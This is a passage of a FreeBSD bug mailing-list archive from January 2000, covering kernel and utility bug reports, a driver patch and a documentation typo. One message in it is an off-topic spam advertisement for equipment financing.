cannot show the font in other font pages on + * some video cards... XXX + */ + (*vidsw[scp->ad]->show_font)(scp->adp, 0); } } >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 11:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 19A4C1510A for ; Sat, 8 Jan 2000 11:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA67129; Sat, 8 Jan 2000 11:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 5E9D514DCD; Sat, 8 Jan 2000 11:26:48 -0800 (PST) Message-Id: <20000108192648.5E9D514DCD@hub.freebsd.org> Date: Sat, 8 Jan 2000 11:26:48 -0800 (PST) From: rich@FreeBSD.org.uk To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: misc/15998: Typo in src/UPDATING in -CURRENT Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15998 >Category: misc >Synopsis: Typo in src/UPDATING in -CURRENT >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 8 11:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Rich Wood >Release: >Organization: >Environment: >Description: Currently reads rm -f /sbin/chwon /bin/chgrp should read rm -f /sbin/chown /bin/chgrp >How-To-Repeat: >Fix: s/chwon/chown >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 12:10: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9D40E14E13 for ; Sat, 8 Jan 2000 12:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA69548; Sat, 8 Jan 2000 12:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sat, 8 Jan 2000 12:10:02 -0800 (PST) Message-Id: <200001082010.MAA69548@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Ken Harrenstien Subject: Re: bin/15981: rcp -p fails when times have high bit set Reply-To: Ken Harrenstien Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15981; it has been noted by GNATS. From: Ken Harrenstien To: Bruce Evans Cc: klh@netcom.com, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/15981: rcp -p fails when times have high bit set Date: Sat, 8 Jan 100 11:59:38 PST > Not under systems with signed time_t like FreeBSD. Using %ul would > break times before the epoch (about 1970). Sigh. OK, I didn't realize this was a conscious decision in FreeBSD. I assume there are good reasons for this (to me) surprising choice. If there is anything that explains the rationale, I would like to read about it. In particular, what's the plan for Jan 18, 2038? Thanks. > > >Fix: > > Don't create files with an st_mtime that is before the epoch. Well, the files in question are created by FreeBSD's user-FTP when retrieving them from a SunOS system, which responds to MDTM with "213 191000107192503". Looks like the old BSD ftp did something like printf("19%2d", t->tm_year). Should we: (a) do nothing and continue to get screwed, (b) test for negatives and substitute current time, (c) test for this case (eg by checking string length) and DWIM it, (d) convince Sun to fix their code (hahahahaha) ? --Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 12:22:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 22F2915072 for ; Sat, 8 Jan 2000 12:21:53 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA14919; Sat, 8 Jan 2000 21:21:34 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Ken Harrenstien Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: bin/15981: rcp -p fails when times have high bit set In-reply-to: Your message of "Sat, 08 Jan 2000 12:10:02 PST." <200001082010.MAA69548@freefall.freebsd.org> Date: Sat, 08 Jan 2000 21:21:34 +0100 Message-ID: <14917.947362894@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001082010.MAA69548@freefall.freebsd.org>, Ken Harrenstien writes : > > Not under systems with signed time_t like FreeBSD. Using %ul would > > break times before the epoch (about 1970). > > Sigh. OK, I didn't realize this was a conscious decision in FreeBSD. > > I assume there are good reasons for this (to me) surprising choice. Yes: to be able to represent dates before 1970. > If there is anything that explains the rationale, I would like to read > about it. In particular, what's the plan for Jan 18, 2038? 64bit time_t. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 12:59:38 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id C622A14E9A; Sat, 8 Jan 2000 12:59:30 -0800 (PST) (envelope-from aron@cs.rice.edu) Received: (from aron@localhost) by cs.rice.edu (8.9.0/8.9.0) id OAA16137; Sat, 8 Jan 2000 14:59:29 -0600 (CST) From: Mohit Aron Message-Id: <200001082059.OAA16137@cs.rice.edu> Subject: SMP kernel panics after calling acquire_timer0 To: freebsd-bugs@freebsd.org, freebsd-current@freebsd.org Date: Sat, 8 Jan 2000 14:59:29 -0600 (CST) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I'm using FreeBSD-current (snapshot from Jan 3rd) which is configured with both SMP and APIC_IO support. This version panics upon calling acquire_timer0() (to modify the interrupt frequency of the 8254). On the other hand, if the kernel is not configured as an SMP, then it works fine. The panic reports some problem with some SMP lock - I can get more details if someone is interested in looking at the problem. - Mohit To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 13: 8:31 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from racine.cybercable.fr (racine.cybercable.fr [212.198.0.201]) by hub.freebsd.org (Postfix) with SMTP id 83C54151A3 for ; Sat, 8 Jan 2000 13:08:27 -0800 (PST) (envelope-from herbelot@cybercable.fr) Received: (qmail 2229534 invoked from network); 8 Jan 2000 21:12:44 -0000 Received: from d016.paris-30.cybercable.fr (HELO cybercable.fr) ([212.198.30.16]) (envelope-sender ) by racine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 8 Jan 2000 21:12:44 -0000 Message-ID: <3877A77B.F6E6CA@cybercable.fr> Date: Sat, 08 Jan 2000 22:09:15 +0100 From: Thierry Herbelot X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Mohit Aron Cc: freebsd-bugs@freebsd.org, freebsd-current@freebsd.org Subject: Re: SMP kernel panics after calling acquire_timer0 References: <200001082059.OAA16137@cs.rice.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org hello, You may want to upgrade to a more recent source tree : I've cvsupped from a 4.0-19991229-CURRENT snapshot to the sources around 01/05 21h00 GMT and SMP works fine on my machine (I have seen strange things with the snapshot : cvs did not want to check out the source tree ! not a pleasant discovery when wanting to update the sources) Is your machine specific in some ways ? (Compaq, for example) You may also post excerpts from your dmesg when booting as UP. TfH Mohit Aron wrote: > > Hi, > I'm using FreeBSD-current (snapshot from Jan 3rd) which is configured > with both SMP and APIC_IO support. This version panics upon calling > acquire_timer0() (to modify the interrupt frequency of the 8254). On the other > hand, if the kernel is not configured as an SMP, then it works fine. The panic > reports some problem with some SMP lock - I can get more details if someone > is interested in looking at the problem. > > - Mohit > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 13:52:51 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 43F1F14C01; Sat, 8 Jan 2000 13:52:47 -0800 (PST) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (beefcake.zeta.org.au [203.26.10.12]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id IAA17395; Sun, 9 Jan 2000 08:52:36 +1100 Date: Sun, 9 Jan 2000 08:52:33 +1100 (EST) From: Bruce Evans X-Sender: bde@alphplex.bde.org To: Mohit Aron Cc: freebsd-bugs@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: SMP kernel panics after calling acquire_timer0 In-Reply-To: <200001082059.OAA16137@cs.rice.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 8 Jan 2000, Mohit Aron wrote: > Hi, > I'm using FreeBSD-current (snapshot from Jan 3rd) which is configured > with both SMP and APIC_IO support. This version panics upon calling > acquire_timer0() (to modify the interrupt frequency of the 8254). On the other > hand, if the kernel is not configured as an SMP, then it works fine. The panic > reports some problem with some SMP lock - I can get more details if someone > is interested in looking at the problem. This is cause by calling disable_intr() when a lock is held. disable_intr() is a funky macro in the SMP case. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 14: 0: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 9209814F41 for ; Sat, 8 Jan 2000 14:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA77043; Sat, 8 Jan 2000 14:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sat, 8 Jan 2000 14:00:02 -0800 (PST) Message-Id: <200001082200.OAA77043@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Alexey Zelkin Subject: Re: kern/15996: patch to add sysctl variable to control SC_MOUSE_CHAR at run-time Reply-To: Alexey Zelkin Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15996; it has been noted by GNATS. From: Alexey Zelkin To: kbyanc@posi.net, yokota@FreeBSD.org Cc: FreeBSD-gnats-submit@FreeBSD.org Subject: Re: kern/15996: patch to add sysctl variable to control SC_MOUSE_CHAR at run-time Date: Sat, 8 Jan 2000 23:28:23 +0300 hi, On Sat, Jan 08, 2000 at 12:37:11PM -0500, kbyanc@posi.net wrote: > >Number: 15996 > >Category: kern > >Synopsis: patch adds hw.syscons.sc_mouse_char sysctl variable Why not change its value by default to reasonable value (0x03) instead of current default value ? -- /* Alexey Zelkin && phantom@cris.net */ /* Tavric National University && phantom@crimea.edu */ /* http://www.ccssu.crimea.ua/~phantom && phantom@FreeBSD.org */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 15: 0:18 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8C94F14EE0 for ; Sat, 8 Jan 2000 15:00:14 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id PAA81382; Sat, 8 Jan 2000 15:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Sat, 8 Jan 2000 15:00:02 -0800 (PST) Message-Id: <200001082300.PAA81382@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Kelly Yancey Subject: Re: kern/15996: patch to add sysctl variable to control SC_MOUSE_CHAR at run-time Reply-To: Kelly Yancey Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15996; it has been noted by GNATS. From: Kelly Yancey To: Alexey Zelkin Cc: yokota@FreeBSD.org, FreeBSD-gnats-submit@FreeBSD.org Subject: Re: kern/15996: patch to add sysctl variable to control SC_MOUSE_CHAR at run-time Date: Sat, 8 Jan 2000 17:51:40 -0500 (EST) On Sat, 8 Jan 2000, Alexey Zelkin wrote: > hi, > > On Sat, Jan 08, 2000 at 12:37:11PM -0500, kbyanc@posi.net wrote: > > > >Number: 15996 > > >Category: kern > > >Synopsis: patch adds hw.syscons.sc_mouse_char sysctl variable > > Why not change its value by default to reasonable value (0x03) instead of > current default value ? > > -- > /* Alexey Zelkin && phantom@cris.net */ > /* Tavric National University && phantom@crimea.edu */ > /* http://www.ccssu.crimea.ua/~phantom && phantom@FreeBSD.org */ > Actually, I need to correct a couple of notes in my PR. First, I misnumbered the character cell bits, where I say 0th bit, I mean the 1st bit (ie bit 0 is the 1st bit). The is important because I said it got copied to the 9th bit (which is correct). The other correction is that VGA adapters don't copy the 1st bit anyway, they copy the 8th bit. That said, here is the answer to your question: The 80-column VGA text modes are actually 720 pixels wide; each character cell is 9 pixels wide. However, the interface for specifying character fonts is a bitmask that conveniently uses one byte (8 bits) per row of the character cell to indicate which pixels should be on or off. Where does the 9th bit come from? Well... On all VGA adapters I've seen they do not do the 9th bit copying trick I described in the PR for any characters outside the range of 0xc0 - 0cdf range. This range was chosen because it coincided with the line-drawing characters in the original IBM fonts. They needed to copy the 8th bit to the 9th to extend the lines so they met between cells. If you use characters outside of this range, the hardware won't copy the 8th bit to the 9th bit of the character cell. So you'll see an annoying vertical line through the mouse cursor as it moves across character cells (that line being the 9th character bit which is always off). Presumably, the reason 0xd0 was chosen as the default for SC_MOUSE_CHAR was to take advantage of the 9th-bit copy trick to make the cursor look whole (actually, you'll see a bump in the mouse, which coincides with the 8th bit of the first character cell that it is spanning being copied and draw twice, but this is preferable to the blank lines). So, to finally answer your question: because it'll look bad. :) You really want the mouse cursor characters to be taken out of this range to make it look good. The only problem was that some locales defined used characters in this range which presents a problem. So, people who were affected in this way need a way to get the pointer out of their alphabet. For the rest of us, we'de rather the pointer "look good" :). Kelly -- Kelly Yancey - kbyanc@posi.net - Richmond, VA Analyst / E-business Development, Bell Industries http://www.bellind.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 18:18:59 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id E25FC14F5B for ; Sat, 8 Jan 2000 18:18:54 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id VAA10117; Sat, 8 Jan 2000 21:22:30 -0500 (EST) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <200001090222.VAA10117@cc942873-a.ewndsr1.nj.home.com> Subject: Re: bin/14709: umountall requests possibly mishandled by mountd(8) In-Reply-To: from Martin Blapp at "Jan 7, 2000 09:52:45 pm" To: mb@imp.ch (Martin Blapp) Date: Sat, 8 Jan 2000 21:22:30 -0500 (EST) Cc: freebsd-bugs@FreeBSD.org Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Martin Blapp wrote, > > Hi, > > > > Not so fast. > > > > Jan 7 09:18:25 backmail mountd[144]: umountall request from > > 192.168.229.3 from unprivileged port > > > > It still is griping about umountall requests coming from itself. > > > > # uname -a > > FreeBSD backmail.mydom.org 3.4-STABLE FreeBSD 3.4-STABLE #0: Tue Dec 21 > > 14:23:45 EST 1999 > > postman@backmail.mydom.org:/u1/FreeBSD-3S/src/sys/compile/BACKMAIL i386 > > the umntall request is sent by another box ! So I bet you've still got > another 3.3 BSD box and you use 192.168.229.3 as NFS-Server for it. I > fixed the broken client behaviour and nothing else. > > hope this explains it. But looking back at the original PR, this is the exact same problem. My NFS server, backmail (192.168.229.3) generated the following messages yesterday, Jan 7 08:22:00 backmail mountd[144]: umountall request from 192.168.229.3 from unprivileged port Jan 7 09:18:25 backmail mountd[144]: umountall request from 192.168.229.3 from unprivileged port I can correlate all of these messages to messages on another machine. This machine gets syslog messages from timed when a machine on the network disappears because it has been shutdown (trimmed so that there is only one message per machine per shutdown, timed will produce three before giving up), Jan 7 08:24:55 newmail timed[94]: measure: lucy.mydom.org did not respond Jan 7 09:19:57 newmail timed[94]: measure: curly.mydom.org did not respond It just so happens that each of these machines is an IRIX (5.3, 6.5, and 6.2, respectively) and none of them ever actually mount filesystems from the FreeBSD server, backmail. All of this is contained in the original PR and the mail which it references. From my point of view (I am no NFS expert), the problem must be fixed with mountd and not clients. Fixing the FreeBSD client does not help me because the machines causing the messages are not FreeBSD machines. If the IRIX clients are doing something odd that should be logged, then I think the fix needs to be to make that error message useful. Saying the request came from itself is either incorrect (it should say it came from the client), or it is at best, useless (why bother with that portion of the message if it always is reporting itself as the origin of the request) or at worst, misleading. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 19:12:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from dccserver.com (lax-29-a-114.lax.dsl.cerfnet.com [206.18.16.114]) by hub.freebsd.org (Postfix) with ESMTP id 8BA7814E13; Sat, 8 Jan 2000 19:11:24 -0800 (PST) (envelope-from admin@dccserver.com) Received: from dccserver.att.com [206.18.16.114] by dccserver.com (SMTPD32-5.08 EVAL) id ABF6DA02D0; Sat, 08 Jan 2000 19:09:42 -0800 MIME-Version: 1.0 From: admin@dccserver.com Reply-To: admin@dccserver.com To: admin@dccserver.com Subject: Discount Capital For Commercial Equipment Mime-Version: 1.0 Content-Type: text/html; charset="us-ascii" Message-Id: <200001081910649.SM00184@dccserver.att.com> Date: Sat, 8 Jan 2000 19:10:10 -0800 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org em general doc

Discount Capital

For

Equipment Leasing & Financing

 

We provide financing for Commercial Equipment, Upgrading or Expansion & High-Tech Equipment Leasing.

 

100% Financing on New & Used Equipment.

 

Sale Lease backs, Debt Consolidations,

 

Deferred Payment plans, lets you generate revenue with your new investment before you have to pay for it.

 

Financing programs for ALL credit profiles.

 

Use our Asset Location Division to help find the equipment you need.

Discount Capital Corp.

10101 Slater Ave. Suite 123-A

Fountain Valley, CA 92708

Phone: (877)346-MONY(6669) Fax: (714)593-0326

Don't Respond To This Address As It Is Not Monitored

E-Mail us @ info@discountcapital.net or visit out web site http://www.discountcapital.net/

To Stop Receiving Our Mail, Click On The Remove Link And Type

"Remove" In The Subject Line.           remove@discountcapital.net

To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 21:44:12 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from davida.com (davida.com [204.107.144.130]) by hub.freebsd.org (Postfix) with ESMTP id B5D5715197 for ; Sat, 8 Jan 2000 21:44:09 -0800 (PST) (envelope-from jd@davida.com) Received: (from jd@localhost) by davida.com (8.9.3/8.9.3) id XAA76441 for bugs@freebsd.org; Sat, 8 Jan 2000 23:44:07 -0600 (CST) (envelope-from jd) Date: Sat, 8 Jan 2000 23:44:07 -0600 (CST) From: Joseph Davida Message-Id: <200001090544.XAA76441@davida.com> To: bugs@freebsd.org Subject: Missing funcs/macros Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I tried to compile the 4.0-20000105-CURRENT snapshot for my machine's configuration. This current release is in bad shape. File ../../dev/ppbus/lpbb.c includes a non-existent header file: #include "iicbb_if.h". File kern/subr_bus.c calls undefined macros/functions: cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing -prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -no stdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../kern/subr_bus.c ../../kern/subr_bus.c: In function `devclass_add_driver': ../../kern/subr_bus.c:323: warning: implicit declaration of function `BUS_DRIVER _ADDED' ../../kern/subr_bus.c: In function `device_print_child': ../../kern/subr_bus.c:637: void value not ignored as it ought to be ../../kern/subr_bus.c: In function `device_probe_and_attach': ../../kern/subr_bus.c:1147: warning: implicit declaration of function `BUS_PROBE _NOMATCH' ../../kern/subr_bus.c: In function `device_detach': ../../kern/subr_bus.c:1171: warning: implicit declaration of function `BUS_CHILD _DETACHED' ../../kern/subr_bus.c: In function `bus_generic_probe': ../../kern/subr_bus.c:1819: warning: implicit declaration of function `DEVICE_ID ENTIFY' ../../kern/subr_bus.c: In function `bus_generic_setup_intr': ../../kern/subr_bus.c:1964: warning: passing arg 4 of `BUS_SETUP_INTR' makes poi nter from integer without a cast ../../kern/subr_bus.c:1964: too many arguments to function `BUS_SETUP_INTR' ../../kern/subr_bus.c: In function `bus_setup_intr': ../../kern/subr_bus.c:2077: warning: passing arg 4 of `BUS_SETUP_INTR' makes poi nter from integer without a cast ../../kern/subr_bus.c:2077: too many arguments to function `BUS_SETUP_INTR' ../../kern/subr_bus.c: In function `bus_set_resource': ../../kern/subr_bus.c:2092: warning: implicit declaration of function `BUS_SET_R ESOURCE' ../../kern/subr_bus.c: In function `bus_get_resource': ../../kern/subr_bus.c:2100: warning: implicit declaration of function `BUS_GET_R ESOURCE' ../../kern/subr_bus.c: In function `bus_delete_resource': ../../kern/subr_bus.c:2133: warning: implicit declaration of function `BUS_DELET E_RESOURCE' *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 8 23:51:25 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70]) by hub.freebsd.org (Postfix) with SMTP id 69ABC14D8B for ; Sat, 8 Jan 2000 23:51:21 -0800 (PST) (envelope-from wpaul@skynet.ctr.columbia.edu) Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id CAA17123; Sun, 9 Jan 2000 02:55:17 -0500 From: Bill Paul Message-Id: <200001090755.CAA17123@skynet.ctr.columbia.edu> Subject: Re: kern/15986: xl ethernet interface hanging To: Arjan.deVet@adv.iae.nl Date: Sun, 9 Jan 2000 02:55:15 -0500 (EST) Cc: bugs@freebsd.org In-Reply-To: <20000108130109.A321E22CD@adv.iae.nl> from "Arjan de Vet" at Jan 8, 2000 02:01:09 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Content-Length: 2027 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Of all the gin joints in all the towns in all the world, Arjan de Vet had to walk into mine and say: > I noticed that my xl0 ethernet interface didn't work anymore (or with > enormous delays) and I traced it back to revision 1.69 in if_xl.c: Grrrrr. This is *NOT* a proper problem description. Where's your *complete* dmesg output? Where's detailed description of the failure? Where's the instructions that show how to duplicate the problem? First you say "hanging" in the subject line, then you say "didn't work anymore." These are vague terms. Be specific. Don't assume that I'm just going to somehow know exactly what you mean. > Because the comment talks about RX/TX buffers I tried this fix: > Index: if_xl.c > =================================================================== > RCS file: /home/freebsd/CVS/src/sys/pci/if_xl.c,v > retrieving revision 1.71 > diff -u -r1.71 if_xl.c > --- if_xl.c 2000/01/03 15:28:47 1.71 > +++ if_xl.c 2000/01/08 12:30:48 > @@ -2426,6 +2426,8 @@ > */ > xl_stop(sc); > > + CSR_WRITE_2(sc, XL_COMMAND, XL_CMD_RX_RESET); > + xl_wait(sc); > CSR_WRITE_2(sc, XL_COMMAND, XL_CMD_TX_RESET); > xl_wait(sc); > DELAY(10000); > > and then my xl0 interface worked again. Is this a correct solution? No. The whole reason I avoid RX reset is that is screws up other cards. I really want a complete description of *all* the hardware involved here, and I want a much more detailed description of your problem and how/when it happens. -Bill -- ============================================================================= -Bill Paul (212) 854-6020 | System Manager, Master of Unix-Fu Work: wpaul@ctr.columbia.edu | Center for Telecommunications Research Home: wpaul@skynet.ctr.columbia.edu | Columbia University, New York City ============================================================================= "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness" ============================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message